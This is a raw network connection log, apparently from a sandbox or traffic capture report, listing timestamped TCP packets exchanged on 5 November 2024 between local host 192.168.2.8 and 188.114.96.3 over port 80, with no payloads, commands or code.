Nov 5, 2024 12:43:35.251919031 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252326965 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252341986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252352953 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252363920 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252374887 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252374887 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252388000 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252388000 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252403975 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252415895 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252432108 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252458096 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252485037 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252496004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252509117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252522945 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252532005 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252532005 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252533913 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252547979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252552032 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252559900 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252573013 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252573013 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252584934 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252597094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252597094 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252609968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252643108 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252682924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252695084 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252736092 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252748013 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252763033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252774000 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252793074 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252801895 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252862930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252876043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252888918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252902031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252912045 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252914906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252928019 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.252933979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252959013 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.252983093 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.253009081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.253021002 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.253032923 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.253046989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.253053904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.253074884 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.253098965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.253413916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.253427029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.253439903 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.253458977 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.253473997 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.283207893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.283227921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.283245087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.283296108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.283308983 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.283327103 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.283332109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.283332109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.283360004 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.283365965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.283451080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.283464909 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.283494949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.283510923 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.283581972 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.283828020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.283859968 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.283873081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.283874989 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.283896923 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.283910036 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.283989906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.284029961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.284040928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.284070969 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.284091949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.284100056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.284111977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.284122944 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.284147978 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.284172058 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.284221888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.284233093 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.284265995 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.284271002 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.284277916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.284290075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.284302950 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.284327030 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.285244942 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.285258055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.285268068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.285295010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.285299063 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.285311937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.285316944 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.285324097 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.285329103 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.285341024 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.285352945 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.285516977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.285528898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.285542011 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.285557032 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.285567999 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.285583973 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.332927942 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.332973957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.332988024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.333067894 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.333091974 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.366966963 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.366991997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367005110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367050886 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367060900 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367072105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367202044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367212057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367223024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367233038 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367243052 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367254019 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367292881 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.367368937 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.367404938 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367415905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367427111 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367435932 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367454052 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.367486954 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.367552996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367563963 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367574930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367588997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367619038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.367633104 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.367705107 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367716074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367727041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367738962 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367747068 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.367774010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.367795944 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.367842913 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367854118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367866039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367875099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367886066 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367894888 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.367897034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367913008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.367921114 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.367933035 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.367948055 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.368102074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368115902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368127108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368138075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368149996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368155956 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.368185997 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.368196011 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.368283987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368297100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368305922 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368324995 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.368344069 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.368388891 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368403912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368415117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368426085 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368436098 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368446112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368457079 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368463993 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.368489981 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.368550062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368592978 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.368659973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368670940 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368683100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368694067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368705034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368717909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.368736982 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.368751049 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.368798971 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368810892 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368820906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368839979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.368855953 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368856907 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.368870020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368880987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368892908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.368908882 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.368922949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.368947029 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.369054079 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.369095087 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.398809910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.398829937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.398844004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.398942947 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.398952007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.398966074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.398981094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.398992062 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.398994923 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.399004936 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.399020910 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.399044037 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.399061918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.399089098 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.399099112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.399128914 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.399286032 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.399341106 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.399353027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.399372101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.399399996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.399422884 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.399435043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.399446964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.399471045 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.399482965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.399493933 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.399518013 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.399524927 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.399529934 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.399553061 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.399575949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.399794102 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.399806976 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.399818897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.399842978 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.399863958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.400798082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.400814056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.400826931 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.400875092 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.400911093 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.401653051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.401685953 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.401696920 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.401745081 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.402149916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.402163982 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.402209044 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.448673010 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.448699951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.448713064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.448812008 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.448857069 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.482387066 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.482426882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.482439041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.482453108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.482465029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.482506037 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.482544899 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.482608080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.482676029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.482687950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.482722998 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.482769012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.482781887 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.482794046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.482806921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.482815027 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.482836008 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.482861996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.482888937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.482901096 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.482932091 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483031988 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483043909 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483057022 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483067989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483079910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483088017 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483092070 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483100891 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483105898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483119011 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483119965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483134031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483145952 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483170033 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483189106 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483237028 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483298063 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483328104 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483340025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483351946 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483362913 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483365059 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483390093 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483402014 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483413935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483416080 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483427048 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483441114 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483453989 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483474016 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483532906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483546019 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483556986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483568907 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483581066 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483582973 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483602047 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483607054 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483613968 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483633995 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483647108 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483671904 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483716011 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483752966 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483767033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483778000 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483789921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483800888 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483802080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483827114 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483839035 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483911991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483925104 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483937025 CET	80	49711	188.114.96.3	192.168.2.8
